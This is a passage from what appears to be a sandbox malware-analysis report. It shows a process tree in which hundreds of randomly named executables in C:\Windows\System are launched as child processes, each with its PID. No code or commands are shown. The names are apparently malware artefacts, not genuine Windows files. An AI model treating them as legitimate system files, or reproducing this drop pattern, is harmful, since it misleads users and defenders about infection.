  PID:6448
- C:\Windows\System\ZpcpskQ.exe
  C:\Windows\System\ZpcpskQ.exe
  2⤵
  PID:6468
- C:\Windows\System\IGQDRzb.exe
  C:\Windows\System\IGQDRzb.exe
  2⤵
  PID:6484
- C:\Windows\System\XxSHhsu.exe
  C:\Windows\System\XxSHhsu.exe
  2⤵
  PID:6504
- C:\Windows\System\zIAfFYS.exe
  C:\Windows\System\zIAfFYS.exe
  2⤵
  PID:6520
- C:\Windows\System\eQJBsfe.exe
  C:\Windows\System\eQJBsfe.exe
  2⤵
  PID:6540
- C:\Windows\System\iishMyY.exe
  C:\Windows\System\iishMyY.exe
  2⤵
  PID:6556
- C:\Windows\System\FdRDXRq.exe
  C:\Windows\System\FdRDXRq.exe
  2⤵
  PID:6576
- C:\Windows\System\mZnBlTC.exe
  C:\Windows\System\mZnBlTC.exe
  2⤵
  PID:6600
- C:\Windows\System\mjixOHu.exe
  C:\Windows\System\mjixOHu.exe
  2⤵
  PID:6624
- C:\Windows\System\JVUqlgv.exe
  C:\Windows\System\JVUqlgv.exe
  2⤵
  PID:6640
- C:\Windows\System\uQXMnGD.exe
  C:\Windows\System\uQXMnGD.exe
  2⤵
  PID:6656
- C:\Windows\System\XSWhfza.exe
  C:\Windows\System\XSWhfza.exe
  2⤵
  PID:6676
- C:\Windows\System\XpsGypL.exe
  C:\Windows\System\XpsGypL.exe
  2⤵
  PID:6692
- C:\Windows\System\OpKvAHN.exe
  C:\Windows\System\OpKvAHN.exe
  2⤵
  PID:6712
- C:\Windows\System\ErtFDGz.exe
  C:\Windows\System\ErtFDGz.exe
  2⤵
  PID:6728
- C:\Windows\System\wbLmBZS.exe
  C:\Windows\System\wbLmBZS.exe
  2⤵
  PID:6744
- C:\Windows\System\cEfIBtT.exe
  C:\Windows\System\cEfIBtT.exe
  2⤵
  PID:6764
- C:\Windows\System\QYDtcsQ.exe
  C:\Windows\System\QYDtcsQ.exe
  2⤵
  PID:6780
- C:\Windows\System\hIjflfX.exe
  C:\Windows\System\hIjflfX.exe
  2⤵
  PID:6800
- C:\Windows\System\QPxPwMP.exe
  C:\Windows\System\QPxPwMP.exe
  2⤵
  PID:6816
- C:\Windows\System\AWuGBCw.exe
  C:\Windows\System\AWuGBCw.exe
  2⤵
  PID:6832
- C:\Windows\System\EhHxieC.exe
  C:\Windows\System\EhHxieC.exe
  2⤵
  PID:6856
- C:\Windows\System\vZQKXlL.exe
  C:\Windows\System\vZQKXlL.exe
  2⤵
  PID:6876
- C:\Windows\System\SmEROhM.exe
  C:\Windows\System\SmEROhM.exe
  2⤵
  PID:6912
- C:\Windows\System\OENlGNc.exe
  C:\Windows\System\OENlGNc.exe
  2⤵
  PID:6928
- C:\Windows\System\ebsOZcm.exe
  C:\Windows\System\ebsOZcm.exe
  2⤵
  PID:6944
- C:\Windows\System\oadIzZi.exe
  C:\Windows\System\oadIzZi.exe
  2⤵
  PID:6964
- C:\Windows\System\vgBwGfL.exe
  C:\Windows\System\vgBwGfL.exe
  2⤵
  PID:6980
- C:\Windows\System\RnNgRtV.exe
  C:\Windows\System\RnNgRtV.exe
  2⤵
  PID:7000
- C:\Windows\System\umvZfUX.exe
  C:\Windows\System\umvZfUX.exe
  2⤵
  PID:7016
- C:\Windows\System\vwhcxPi.exe
  C:\Windows\System\vwhcxPi.exe
  2⤵
  PID:7032
- C:\Windows\System\DnZLCDX.exe
  C:\Windows\System\DnZLCDX.exe
  2⤵
  PID:7048
- C:\Windows\System\OmdncVW.exe
  C:\Windows\System\OmdncVW.exe
  2⤵
  PID:7064
- C:\Windows\System\SwhcjIQ.exe
  C:\Windows\System\SwhcjIQ.exe
  2⤵
  PID:7080
- C:\Windows\System\lKBrqua.exe
  C:\Windows\System\lKBrqua.exe
  2⤵
  PID:7096
- C:\Windows\System\zJBIFfo.exe
  C:\Windows\System\zJBIFfo.exe
  2⤵
  PID:7112
- C:\Windows\System\IEmZTkg.exe
  C:\Windows\System\IEmZTkg.exe
  2⤵
  PID:7128
- C:\Windows\System\IzIBCJG.exe
  C:\Windows\System\IzIBCJG.exe
  2⤵
  PID:7144
- C:\Windows\System\jNBHTKm.exe
  C:\Windows\System\jNBHTKm.exe
  2⤵
  PID:7160
- C:\Windows\System\VfySXkG.exe
  C:\Windows\System\VfySXkG.exe
  2⤵
  PID:5872
- C:\Windows\System\QNuyBmH.exe
  C:\Windows\System\QNuyBmH.exe
  2⤵
  PID:5736
- C:\Windows\System\tIaPgKK.exe
  C:\Windows\System\tIaPgKK.exe
  2⤵
  PID:5492
- C:\Windows\System\lxXgsRf.exe
  C:\Windows\System\lxXgsRf.exe
  2⤵
  PID:6204
- C:\Windows\System\SstfrUW.exe
  C:\Windows\System\SstfrUW.exe
  2⤵
  PID:6272
- C:\Windows\System\nnDXxYw.exe
  C:\Windows\System\nnDXxYw.exe
  2⤵
  PID:6312
- C:\Windows\System\kRYRkrY.exe
  C:\Windows\System\kRYRkrY.exe
  2⤵
  PID:6376
- C:\Windows\System\cbiJujq.exe
  C:\Windows\System\cbiJujq.exe
  2⤵
  PID:6440
- C:\Windows\System\jhXzfps.exe
  C:\Windows\System\jhXzfps.exe
  2⤵
  PID:6512
- C:\Windows\System\IEpwcvJ.exe
  C:\Windows\System\IEpwcvJ.exe
  2⤵
  PID:6584
- C:\Windows\System\XvJNmJE.exe
  C:\Windows\System\XvJNmJE.exe
  2⤵
  PID:6632
- C:\Windows\System\KnLddnq.exe
  C:\Windows\System\KnLddnq.exe
  2⤵
  PID:6672
- C:\Windows\System\boDzjqQ.exe
  C:\Windows\System\boDzjqQ.exe
  2⤵
  PID:6740
- C:\Windows\System\CYbOuVY.exe
  C:\Windows\System\CYbOuVY.exe
  2⤵
  PID:5480
- C:\Windows\System\TlzayHp.exe
  C:\Windows\System\TlzayHp.exe
  2⤵
  PID:5520
- C:\Windows\System\bvJeKAD.exe
  C:\Windows\System\bvJeKAD.exe
  2⤵
  PID:5956
- C:\Windows\System\koZRbUF.exe
  C:\Windows\System\koZRbUF.exe
  2⤵
  PID:5668
- C:\Windows\System\apFZAPn.exe
  C:\Windows\System\apFZAPn.exe
  2⤵
  PID:4592
- C:\Windows\System\OjqjYDj.exe
  C:\Windows\System\OjqjYDj.exe
  2⤵
  PID:5316
- C:\Windows\System\oaQKCmA.exe
  C:\Windows\System\oaQKCmA.exe
  2⤵
  PID:5624
- C:\Windows\System\OuqszrS.exe
  C:\Windows\System\OuqszrS.exe
  2⤵
  PID:6140
- C:\Windows\System\EbNgKou.exe
  C:\Windows\System\EbNgKou.exe
  2⤵
  PID:5464
- C:\Windows\System\KAlTtRZ.exe
  C:\Windows\System\KAlTtRZ.exe
  2⤵
  PID:6160
- C:\Windows\System\yRAqWMJ.exe
  C:\Windows\System\yRAqWMJ.exe
  2⤵
  PID:6224
- C:\Windows\System\hJKKfXt.exe
  C:\Windows\System\hJKKfXt.exe
  2⤵
  PID:6288
- C:\Windows\System\QXafegx.exe
  C:\Windows\System\QXafegx.exe
  2⤵
  PID:6360
- C:\Windows\System\vdpzXjD.exe
  C:\Windows\System\vdpzXjD.exe
  2⤵
  PID:6424
- C:\Windows\System\lhaLnJJ.exe
  C:\Windows\System\lhaLnJJ.exe
  2⤵
  PID:6464
- C:\Windows\System\gpeKqSG.exe
  C:\Windows\System\gpeKqSG.exe
  2⤵
  PID:6528
- C:\Windows\System\JANvHfp.exe
  C:\Windows\System\JANvHfp.exe
  2⤵
  PID:6568
- C:\Windows\System\NPNSIxp.exe
  C:\Windows\System\NPNSIxp.exe
  2⤵
  PID:6616
- C:\Windows\System\elxTtXP.exe
  C:\Windows\System\elxTtXP.exe
  2⤵
  PID:6684
- C:\Windows\System\VzZqiky.exe
  C:\Windows\System\VzZqiky.exe
  2⤵
  PID:6724
- C:\Windows\System\jpKEVCP.exe
  C:\Windows\System\jpKEVCP.exe
  2⤵
  PID:6788
- C:\Windows\System\KzwMoSB.exe
  C:\Windows\System\KzwMoSB.exe
  2⤵
  PID:6828
- C:\Windows\System\ttXpKyY.exe
  C:\Windows\System\ttXpKyY.exe
  2⤵
  PID:6844
- C:\Windows\System\oITJURc.exe
  C:\Windows\System\oITJURc.exe
  2⤵
  PID:6852
- C:\Windows\System\fQsGXoQ.exe
  C:\Windows\System\fQsGXoQ.exe
  2⤵
  PID:6900
- C:\Windows\System\nVMMyJw.exe
  C:\Windows\System\nVMMyJw.exe
  2⤵
  PID:6904
- C:\Windows\System\bylLHmW.exe
  C:\Windows\System\bylLHmW.exe
  2⤵
  PID:6976
- C:\Windows\System\CDxMhkd.exe
  C:\Windows\System\CDxMhkd.exe
  2⤵
  PID:6924
- C:\Windows\System\gdqIfGB.exe
  C:\Windows\System\gdqIfGB.exe
  2⤵
  PID:6992
- C:\Windows\System\HsDAqKo.exe
  C:\Windows\System\HsDAqKo.exe
  2⤵
  PID:7056
- C:\Windows\System\IPDYIKS.exe
  C:\Windows\System\IPDYIKS.exe
  2⤵
  PID:7076
- C:\Windows\System\hGyLZHn.exe
  C:\Windows\System\hGyLZHn.exe
  2⤵
  PID:7088
- C:\Windows\System\ttJioUq.exe
  C:\Windows\System\ttJioUq.exe
  2⤵
  PID:7140
- C:\Windows\System\clNvMkr.exe
  C:\Windows\System\clNvMkr.exe
  2⤵
  PID:5332
- C:\Windows\System\SENmIgN.exe
  C:\Windows\System\SENmIgN.exe
  2⤵
  PID:7152
- C:\Windows\System\ckZHzAs.exe
  C:\Windows\System\ckZHzAs.exe
  2⤵
  PID:6344
- C:\Windows\System\qMLoZEw.exe
  C:\Windows\System\qMLoZEw.exe
  2⤵
  PID:6480
- C:\Windows\System\ISVkSmd.exe
  C:\Windows\System\ISVkSmd.exe
  2⤵
  PID:6592
- C:\Windows\System\XehPIXQ.exe
  C:\Windows\System\XehPIXQ.exe
  2⤵
  PID:5156
- C:\Windows\System\ffILeET.exe
  C:\Windows\System\ffILeET.exe
  2⤵
  PID:5824
- C:\Windows\System\jwegJUg.exe
  C:\Windows\System\jwegJUg.exe
  2⤵
  PID:6664
- C:\Windows\System\VrHpsix.exe
  C:\Windows\System\VrHpsix.exe
  2⤵
  PID:6668
- C:\Windows\System\ViqTYgP.exe
  C:\Windows\System\ViqTYgP.exe
  2⤵
  PID:5588
- C:\Windows\System\IaRSqzR.exe
  C:\Windows\System\IaRSqzR.exe
  2⤵
  PID:5972
- C:\Windows\System\sshWxlS.exe
  C:\Windows\System\sshWxlS.exe
  2⤵
  PID:6060
- C:\Windows\System\LdTTHTC.exe
  C:\Windows\System\LdTTHTC.exe
  2⤵
  PID:5368
- C:\Windows\System\KeWDkAn.exe
  C:\Windows\System\KeWDkAn.exe
  2⤵
  PID:5400
- C:\Windows\System\xgqdsDl.exe
  C:\Windows\System\xgqdsDl.exe
  2⤵
  PID:6260
- C:\Windows\System\qBIAAWa.exe
  C:\Windows\System\qBIAAWa.exe
  2⤵
  PID:6192
- C:\Windows\System\rJtsoLf.exe
  C:\Windows\System\rJtsoLf.exe
  2⤵
  PID:6332
- C:\Windows\System\aQhyIjI.exe
  C:\Windows\System\aQhyIjI.exe
  2⤵
  PID:6564
- C:\Windows\System\BkEpncH.exe
  C:\Windows\System\BkEpncH.exe
  2⤵
  PID:6708
- C:\Windows\System\FoqsObw.exe
  C:\Windows\System\FoqsObw.exe
  2⤵
  PID:6760
- C:\Windows\System\irNTVln.exe
  C:\Windows\System\irNTVln.exe
  2⤵
  PID:6796
- C:\Windows\System\MXiTAct.exe
  C:\Windows\System\MXiTAct.exe
  2⤵
  PID:5572
- C:\Windows\System\dtwwkSS.exe
  C:\Windows\System\dtwwkSS.exe
  2⤵
  PID:6920
- C:\Windows\System\phPiJWy.exe
  C:\Windows\System\phPiJWy.exe
  2⤵
  PID:5868
- C:\Windows\System\fNIehKK.exe
  C:\Windows\System\fNIehKK.exe
  2⤵
  PID:4412
- C:\Windows\System\rXYEPkY.exe
  C:\Windows\System\rXYEPkY.exe
  2⤵
  PID:6960
- C:\Windows\System\UeHKwBe.exe
  C:\Windows\System\UeHKwBe.exe
  2⤵
  PID:6972
- C:\Windows\System\ysxUaxZ.exe
  C:\Windows\System\ysxUaxZ.exe
  2⤵
  PID:7136
- C:\Windows\System\wROvvHZ.exe
  C:\Windows\System\wROvvHZ.exe
  2⤵
  PID:6808
- C:\Windows\System\XugSAKQ.exe
  C:\Windows\System\XugSAKQ.exe
  2⤵
  PID:6112
- C:\Windows\System\gNqtyPU.exe
  C:\Windows\System\gNqtyPU.exe
  2⤵
  PID:5804
- C:\Windows\System\LxkKJdF.exe
  C:\Windows\System\LxkKJdF.exe
  2⤵
  PID:6176
- C:\Windows\System\gHAHucr.exe
  C:\Windows\System\gHAHucr.exe
  2⤵
  PID:5528
- C:\Windows\System\INqxVJL.exe
  C:\Windows\System\INqxVJL.exe
  2⤵
  PID:6128
- C:\Windows\System\AgCXXDe.exe
  C:\Windows\System\AgCXXDe.exe
  2⤵
  PID:6500
- C:\Windows\System\rDfzJgQ.exe
  C:\Windows\System\rDfzJgQ.exe
  2⤵
  PID:6460
- C:\Windows\System\ErlKuqV.exe
  C:\Windows\System\ErlKuqV.exe
  2⤵
  PID:6872
- C:\Windows\System\pkTrAHi.exe
  C:\Windows\System\pkTrAHi.exe
  2⤵
  PID:7040
- C:\Windows\System\YIWYukd.exe
  C:\Windows\System\YIWYukd.exe
  2⤵
  PID:6896
- C:\Windows\System\MLbAhom.exe
  C:\Windows\System\MLbAhom.exe
  2⤵
  PID:7104
- C:\Windows\System\DEPMujR.exe
  C:\Windows\System\DEPMujR.exe
  2⤵
  PID:5992
- C:\Windows\System\fYcfCPJ.exe
  C:\Windows\System\fYcfCPJ.exe
  2⤵
  PID:6736
- C:\Windows\System\lJVboxu.exe
  C:\Windows\System\lJVboxu.exe
  2⤵
  PID:6024
- C:\Windows\System\VRUquVA.exe
  C:\Windows\System\VRUquVA.exe
  2⤵
  PID:6652
- C:\Windows\System\SVHFSpS.exe
  C:\Windows\System\SVHFSpS.exe
  2⤵
  PID:6756
- C:\Windows\System\ZRVPdHk.exe
  C:\Windows\System\ZRVPdHk.exe
  2⤵
  PID:6032
- C:\Windows\System\yOWSuOw.exe
  C:\Windows\System\yOWSuOw.exe
  2⤵
  PID:6720
- C:\Windows\System\HmPzRTD.exe
  C:\Windows\System\HmPzRTD.exe
  2⤵
  PID:7012
- C:\Windows\System\VeRHEON.exe
  C:\Windows\System\VeRHEON.exe
  2⤵
  PID:5724
- C:\Windows\System\DbusVjX.exe
  C:\Windows\System\DbusVjX.exe
  2⤵
  PID:7184
- C:\Windows\System\LSXINwd.exe
  C:\Windows\System\LSXINwd.exe
  2⤵
  PID:7200
- C:\Windows\System\lqBMPWl.exe
  C:\Windows\System\lqBMPWl.exe
  2⤵
  PID:7216
- C:\Windows\System\uSqcKGF.exe
  C:\Windows\System\uSqcKGF.exe
  2⤵
  PID:7232
- C:\Windows\System\JBlCkDJ.exe
  C:\Windows\System\JBlCkDJ.exe
  2⤵
  PID:7248
- C:\Windows\System\KsXGcjb.exe
  C:\Windows\System\KsXGcjb.exe
  2⤵
  PID:7264
- C:\Windows\System\PdYUjOn.exe
  C:\Windows\System\PdYUjOn.exe
  2⤵
  PID:7280
- C:\Windows\System\ccVmDRc.exe
  C:\Windows\System\ccVmDRc.exe
  2⤵
  PID:7296
- C:\Windows\System\ZSwrNsD.exe
  C:\Windows\System\ZSwrNsD.exe
  2⤵
  PID:7312
- C:\Windows\System\fsUgYxz.exe
  C:\Windows\System\fsUgYxz.exe
  2⤵
  PID:7328
- C:\Windows\System\BBTwtIg.exe
  C:\Windows\System\BBTwtIg.exe
  2⤵
  PID:7344
- C:\Windows\System\SUQFiEy.exe
  C:\Windows\System\SUQFiEy.exe
  2⤵
  PID:7360
- C:\Windows\System\IxllTBa.exe
  C:\Windows\System\IxllTBa.exe
  2⤵
  PID:7376
- C:\Windows\System\rFdKNiL.exe
  C:\Windows\System\rFdKNiL.exe
  2⤵
  PID:7392
- C:\Windows\System\emsAdaT.exe
  C:\Windows\System\emsAdaT.exe
  2⤵
  PID:7408
- C:\Windows\System\qRtiiXV.exe
  C:\Windows\System\qRtiiXV.exe
  2⤵
  PID:7424
- C:\Windows\System\EEuBuxb.exe
  C:\Windows\System\EEuBuxb.exe
  2⤵
  PID:7440
- C:\Windows\System\yLilHHT.exe
  C:\Windows\System\yLilHHT.exe
  2⤵
  PID:7456
- C:\Windows\System\TWgAHot.exe
  C:\Windows\System\TWgAHot.exe
  2⤵
  PID:7472
- C:\Windows\System\iqDsciS.exe
  C:\Windows\System\iqDsciS.exe
  2⤵
  PID:7488
- C:\Windows\System\JGkHLDD.exe
  C:\Windows\System\JGkHLDD.exe
  2⤵
  PID:7504
- C:\Windows\System\PEpbdOA.exe
  C:\Windows\System\PEpbdOA.exe
  2⤵
  PID:7520
- C:\Windows\System\FTrnqXV.exe
  C:\Windows\System\FTrnqXV.exe
  2⤵
  PID:7536
- C:\Windows\System\hfxScsL.exe
  C:\Windows\System\hfxScsL.exe
  2⤵
  PID:7552
- C:\Windows\System\WmkhxBj.exe
  C:\Windows\System\WmkhxBj.exe
  2⤵
  PID:7568
- C:\Windows\System\IyikQnJ.exe
  C:\Windows\System\IyikQnJ.exe
  2⤵
  PID:7584
- C:\Windows\System\LRUNOvf.exe
  C:\Windows\System\LRUNOvf.exe
  2⤵
  PID:7600
- C:\Windows\System\AMJlNtC.exe
  C:\Windows\System\AMJlNtC.exe
  2⤵
  PID:7616
- C:\Windows\System\gGafyCN.exe
  C:\Windows\System\gGafyCN.exe
  2⤵
  PID:7632
- C:\Windows\System\wiOPudK.exe
  C:\Windows\System\wiOPudK.exe
  2⤵
  PID:7648
- C:\Windows\System\AbchSPw.exe
  C:\Windows\System\AbchSPw.exe
  2⤵
  PID:7664
- C:\Windows\System\EyIHiSk.exe
  C:\Windows\System\EyIHiSk.exe
  2⤵
  PID:7680
- C:\Windows\System\AsCzvTN.exe
  C:\Windows\System\AsCzvTN.exe
  2⤵
  PID:7696
- C:\Windows\System\phqvlLI.exe
  C:\Windows\System\phqvlLI.exe
  2⤵
  PID:7712
- C:\Windows\System\wrEdiem.exe
  C:\Windows\System\wrEdiem.exe
  2⤵
  PID:7728
- C:\Windows\System\uCpsbbf.exe
  C:\Windows\System\uCpsbbf.exe
  2⤵
  PID:7744
- C:\Windows\System\JFIfsoC.exe
  C:\Windows\System\JFIfsoC.exe
  2⤵
  PID:7760
- C:\Windows\System\PVZAdNb.exe
  C:\Windows\System\PVZAdNb.exe
  2⤵
  PID:7776
- C:\Windows\System\XogzjsP.exe
  C:\Windows\System\XogzjsP.exe
  2⤵
  PID:7792
- C:\Windows\System\rcqEHGs.exe
  C:\Windows\System\rcqEHGs.exe
  2⤵
  PID:7808
- C:\Windows\System\VUypBlg.exe
  C:\Windows\System\VUypBlg.exe
  2⤵
  PID:7824
- C:\Windows\System\NjEnPQf.exe
  C:\Windows\System\NjEnPQf.exe
  2⤵
  PID:7840
- C:\Windows\System\WUEsfIS.exe
  C:\Windows\System\WUEsfIS.exe
  2⤵
  PID:7856
- C:\Windows\System\govHKQp.exe
  C:\Windows\System\govHKQp.exe
  2⤵
  PID:7872
- C:\Windows\System\PUrHXmW.exe
  C:\Windows\System\PUrHXmW.exe
  2⤵
  PID:7888
- C:\Windows\System\PlFeshA.exe
  C:\Windows\System\PlFeshA.exe
  2⤵
  PID:7904
- C:\Windows\System\LmGRnAV.exe
  C:\Windows\System\LmGRnAV.exe
  2⤵
  PID:7920
- C:\Windows\System\vHEkldN.exe
  C:\Windows\System\vHEkldN.exe
  2⤵
  PID:7936
- C:\Windows\System\svgaSyB.exe
  C:\Windows\System\svgaSyB.exe
  2⤵
  PID:7952
- C:\Windows\System\gCofFFS.exe
  C:\Windows\System\gCofFFS.exe
  2⤵
  PID:7968
- C:\Windows\System\mzogpbd.exe
  C:\Windows\System\mzogpbd.exe
  2⤵
  PID:7984
- C:\Windows\System\lMZDZgd.exe
  C:\Windows\System\lMZDZgd.exe
  2⤵
  PID:8000
- C:\Windows\System\zxZRSud.exe
  C:\Windows\System\zxZRSud.exe
  2⤵
  PID:8016
- C:\Windows\System\oltMOKk.exe
  C:\Windows\System\oltMOKk.exe
  2⤵
  PID:8032
- C:\Windows\System\bYJChGp.exe
  C:\Windows\System\bYJChGp.exe
  2⤵
  PID:8048
- C:\Windows\System\OEnYiOF.exe
  C:\Windows\System\OEnYiOF.exe
  2⤵
  PID:8064
- C:\Windows\System\gJoNYJB.exe
  C:\Windows\System\gJoNYJB.exe
  2⤵
  PID:8080
- C:\Windows\System\hmYqLme.exe
  C:\Windows\System\hmYqLme.exe
  2⤵
  PID:8096
- C:\Windows\System\TdcxTPz.exe
  C:\Windows\System\TdcxTPz.exe
  2⤵
  PID:8112
- C:\Windows\System\UeuurHw.exe
  C:\Windows\System\UeuurHw.exe
  2⤵
  PID:8128
- C:\Windows\System\TYmvrut.exe
  C:\Windows\System\TYmvrut.exe
  2⤵
  PID:8144
- C:\Windows\System\HGhhLuR.exe
  C:\Windows\System\HGhhLuR.exe
  2⤵
  PID:8160
- C:\Windows\System\xEURPWI.exe
  C:\Windows\System\xEURPWI.exe
  2⤵
  PID:8176
- C:\Windows\System\HdbMkQz.exe
  C:\Windows\System\HdbMkQz.exe
  2⤵
  PID:6892
- C:\Windows\System\beLNWPh.exe
  C:\Windows\System\beLNWPh.exe
  2⤵
  PID:1564
- C:\Windows\System\AaNVSrz.exe
  C:\Windows\System\AaNVSrz.exe
  2⤵
  PID:7224
- C:\Windows\System\MWCUGjf.exe
  C:\Windows\System\MWCUGjf.exe
  2⤵
  PID:5504
- C:\Windows\System\KmMTBqZ.exe
  C:\Windows\System\KmMTBqZ.exe
  2⤵
  PID:7208
- C:\Windows\System\OgWwRGH.exe
  C:\Windows\System\OgWwRGH.exe
  2⤵
  PID:7244
- C:\Windows\System\LsOztPX.exe
  C:\Windows\System\LsOztPX.exe
  2⤵
  PID:7308
- C:\Windows\System\qWVAvDu.exe
  C:\Windows\System\qWVAvDu.exe
  2⤵
  PID:7320
- C:\Windows\System\oXUcRtp.exe
  C:\Windows\System\oXUcRtp.exe
  2⤵
  PID:7388
- C:\Windows\System\HURBIib.exe
  C:\Windows\System\HURBIib.exe
  2⤵
  PID:7452
- C:\Windows\System\szsaMuT.exe
  C:\Windows\System\szsaMuT.exe
  2⤵
  PID:7516
- C:\Windows\System\bEPkmMr.exe
  C:\Windows\System\bEPkmMr.exe
  2⤵
  PID:7340
- C:\Windows\System\UGykDIg.exe
  C:\Windows\System\UGykDIg.exe
  2⤵
  PID:7432
- C:\Windows\System\mnSWxVT.exe
  C:\Windows\System\mnSWxVT.exe
  2⤵
  PID:7528
- C:\Windows\System\imShhak.exe
  C:\Windows\System\imShhak.exe
  2⤵
  PID:7580
- C:\Windows\System\XAQnjPS.exe
  C:\Windows\System\XAQnjPS.exe
  2⤵
  PID:7640
- C:\Windows\System\FXgdUnM.exe
  C:\Windows\System\FXgdUnM.exe
  2⤵
  PID:7564
- C:\Windows\System\nxpKZtD.exe
  C:\Windows\System\nxpKZtD.exe
  2⤵
  PID:7624
- C:\Windows\System\AIwcDxA.exe
  C:\Windows\System\AIwcDxA.exe
  2⤵
  PID:7628
- C:\Windows\System\aIQYNpf.exe
  C:\Windows\System\aIQYNpf.exe
  2⤵
  PID:7752
- C:\Windows\System\LYdqZSG.exe
  C:\Windows\System\LYdqZSG.exe
  2⤵
  PID:7756
- C:\Windows\System\oAxOvoG.exe
  C:\Windows\System\oAxOvoG.exe
  2⤵
  PID:7832
- C:\Windows\System\qlarEZK.exe
  C:\Windows\System\qlarEZK.exe
  2⤵
  PID:7816
- C:\Windows\System\qHqMVRV.exe
  C:\Windows\System\qHqMVRV.exe
  2⤵
  PID:7836
- C:\Windows\System\HyKTQMS.exe
  C:\Windows\System\HyKTQMS.exe
  2⤵
  PID:7900
- C:\Windows\System\bzrggIm.exe
  C:\Windows\System\bzrggIm.exe
  2⤵
  PID:7960
- C:\Windows\System\rksEnZF.exe
  C:\Windows\System\rksEnZF.exe
  2⤵
  PID:7948
- C:\Windows\System\xRRYmGw.exe
  C:\Windows\System\xRRYmGw.exe
  2⤵
  PID:7916
- C:\Windows\System\UwwwBuh.exe
  C:\Windows\System\UwwwBuh.exe
  2⤵
  PID:8056
- C:\Windows\System\REQrHWk.exe
  C:\Windows\System\REQrHWk.exe
  2⤵
  PID:8012
- C:\Windows\System\ZwwcMgE.exe
  C:\Windows\System\ZwwcMgE.exe
  2⤵
  PID:8072
- C:\Windows\System\lioYScY.exe
  C:\Windows\System\lioYScY.exe
  2⤵
  PID:8152
- C:\Windows\System\viuCzGa.exe
  C:\Windows\System\viuCzGa.exe
  2⤵
  PID:8172
- C:\Windows\System\iZIWjCR.exe
  C:\Windows\System\iZIWjCR.exe
  2⤵
  PID:8184
- C:\Windows\System\cApHkKK.exe
  C:\Windows\System\cApHkKK.exe
  2⤵
  PID:7180
- C:\Windows\System\lAknyVg.exe
  C:\Windows\System\lAknyVg.exe
  2⤵
  PID:7356
- C:\Windows\System\ebxcvQC.exe
  C:\Windows\System\ebxcvQC.exe
  2⤵
  PID:7368
- C:\Windows\System\ExkyYlJ.exe
  C:\Windows\System\ExkyYlJ.exe
  2⤵
  PID:7240
- C:\Windows\System\OBVNVVt.exe
  C:\Windows\System\OBVNVVt.exe
  2⤵
  PID:7260
- C:\Windows\System\QgFWrgb.exe
  C:\Windows\System\QgFWrgb.exe
  2⤵
  PID:7292
- C:\Windows\System\yWfiAbb.exe
  C:\Windows\System\yWfiAbb.exe
  2⤵
  PID:7468
- C:\Windows\System\belgRQg.exe
  C:\Windows\System\belgRQg.exe
  2⤵
  PID:7676
- C:\Windows\System\SCaTgLL.exe
  C:\Windows\System\SCaTgLL.exe
  2⤵
  PID:7592
- C:\Windows\System\oPRcgkj.exe
  C:\Windows\System\oPRcgkj.exe
  2⤵
  PID:7692
- C:\Windows\System\AIhFOcH.exe
  C:\Windows\System\AIhFOcH.exe
  2⤵
  PID:7784
- C:\Windows\System\nJhkxvw.exe
  C:\Windows\System\nJhkxvw.exe
  2⤵
  PID:7612
- C:\Windows\System\UMqIeUm.exe
  C:\Windows\System\UMqIeUm.exe
  2⤵
  PID:8044
- C:\Windows\System\gooGCKI.exe
  C:\Windows\System\gooGCKI.exe
  2⤵
  PID:8108
- C:\Windows\System\PrLtVPA.exe
  C:\Windows\System\PrLtVPA.exe
  2⤵
  PID:7484
- C:\Windows\System\czjeMCb.exe
  C:\Windows\System\czjeMCb.exe
  2⤵
  PID:8120
- C:\Windows\System\TJGSxGU.exe
  C:\Windows\System\TJGSxGU.exe
  2⤵
  PID:7256
- C:\Windows\System\OGTSBPC.exe
  C:\Windows\System\OGTSBPC.exe
  2⤵
  PID:7932
- C:\Windows\System\OCiuTlA.exe
  C:\Windows\System\OCiuTlA.exe
  2⤵
  PID:8168
- C:\Windows\System\HdKunVZ.exe
  C:\Windows\System\HdKunVZ.exe
  2⤵
  PID:7192
- C:\Windows\System\JZDsleI.exe
  C:\Windows\System\JZDsleI.exe
  2⤵
  PID:7688
- C:\Windows\System\CfrVvvW.exe
  C:\Windows\System\CfrVvvW.exe
  2⤵
  PID:7708
- C:\Windows\System\HOFBaPz.exe
  C:\Windows\System\HOFBaPz.exe
  2⤵
  PID:7660
- C:\Windows\System\xWZCbCP.exe
  C:\Windows\System\xWZCbCP.exe
  2⤵
  PID:8104
- C:\Windows\System\sEsaXul.exe
  C:\Windows\System\sEsaXul.exe
  2⤵
  PID:7804
- C:\Windows\System\LRHQnqm.exe
  C:\Windows\System\LRHQnqm.exe
  2⤵
  PID:7928
- C:\Windows\System\eZVQmcs.exe
  C:\Windows\System\eZVQmcs.exe
  2⤵
  PID:7544
- C:\Windows\System\qShXACa.exe
  C:\Windows\System\qShXACa.exe
  2⤵
  PID:7852
- C:\Windows\System\UhLNuTn.exe
  C:\Windows\System\UhLNuTn.exe
  2⤵
  PID:6412
- C:\Windows\System\SYfmAUT.exe
  C:\Windows\System\SYfmAUT.exe
  2⤵
  PID:7768
- C:\Windows\System\rfMVnuJ.exe
  C:\Windows\System\rfMVnuJ.exe
  2⤵
  PID:8204
- C:\Windows\System\XWdLlOO.exe
  C:\Windows\System\XWdLlOO.exe
  2⤵
  PID:8220
- C:\Windows\System\FDkscVD.exe
  C:\Windows\System\FDkscVD.exe
  2⤵
  PID:8236
- C:\Windows\System\KJCgLpu.exe
  C:\Windows\System\KJCgLpu.exe
  2⤵
  PID:8252
- C:\Windows\System\qcqktte.exe
  C:\Windows\System\qcqktte.exe
  2⤵
  PID:8268
- C:\Windows\System\Fyxljym.exe
  C:\Windows\System\Fyxljym.exe
  2⤵
  PID:8284
- C:\Windows\System\srXANsj.exe
  C:\Windows\System\srXANsj.exe
  2⤵
  PID:8300
- C:\Windows\System\xpXKOjW.exe
  C:\Windows\System\xpXKOjW.exe
  2⤵
  PID:8316
- C:\Windows\System\lgjWybz.exe
  C:\Windows\System\lgjWybz.exe
  2⤵
  PID:8332
- C:\Windows\System\MPqRdLi.exe
  C:\Windows\System\MPqRdLi.exe
  2⤵
  PID:8348
- C:\Windows\System\kuwiRaK.exe
  C:\Windows\System\kuwiRaK.exe
  2⤵
  PID:8364
- C:\Windows\System\sLJUbsr.exe
  C:\Windows\System\sLJUbsr.exe
  2⤵
  PID:8380
- C:\Windows\System\SodtqoX.exe
  C:\Windows\System\SodtqoX.exe
  2⤵
  PID:8396
- C:\Windows\System\yEFLLHw.exe
  C:\Windows\System\yEFLLHw.exe
  2⤵
  PID:8412
- C:\Windows\System\vDbpREp.exe
  C:\Windows\System\vDbpREp.exe
  2⤵
  PID:8428
